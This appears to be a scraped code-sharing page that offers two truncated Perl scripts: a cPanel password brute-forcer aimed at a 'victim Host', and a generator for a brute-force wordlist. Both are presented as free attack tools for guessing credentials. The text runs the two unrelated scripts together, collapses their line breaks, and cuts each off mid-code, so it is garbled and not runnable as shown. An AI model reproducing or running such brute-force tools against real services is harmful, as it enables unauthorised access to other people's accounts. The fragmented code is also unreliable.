FREE FOR THE CODE

SCRIPT CODE: #!/usr/bin/perl # Cpanel Password Brute Forcer # ---------------------------- #    (c)oded By Hessam-x # Perl Version ( low speed ) # Oerginal Advisory : # http://www.simorgh-ev.com/advisory/2006/cpanel-bruteforce-vule/ use IO::Socket; use LWP::Simple; use MIME::Base64; $host     = $ARGV[0]; $user     = $ARGV[1]; $port     = $ARGV[2]; $list     = $ARGV[3]; $file     = $ARGV[4]; $url = "http://".$host.":".$port; if(@ARGV < 3){ print q( ############################################################### #               Cpanel Password Brute Force Tool              # ############################################################### #     usage : cpanel.pl [HOST] [User] [PORT][list] [File]    # #-------------------------------------------------------------# #    [Host] : victim Host             (simorgh-ev.com)        # #    [User] : User Name               (demo)                  # #    [PORT] : Port of Cpanel          (2082)        

#!/usr/local/bin/perl print "\nMakeBrute \n     By Drusepth\n"; print "This program will create a wordlist in the current directory for for use\nin brute forcing (not dictionary) attacks with the name brute.txt.  This wordlist ends up being around 175MB.\n  Press any key to continue, or close the program to prevent making the list."; $continizzle = <STDIN>; print "Working...  This may take a while.  \n"; open (BRUTE, ">brute.txt"); #Start writing to the file: #Brute Force List $brute = "a"; #Set $brute to 'a' to begin with. for ($force = 1; $force < 28000000; $force++) { #$force is how many times it will increment    print BRUTE "$brute\n"; #Print the current $brute out.    if (ord(substr($brute, -1, 1)) == "122") { #If the last character is 'z',       if (length($brute != 1)) { #If $brute is more than 1 character long,          if (ord(substr($brute, -2, 1)) != "122&q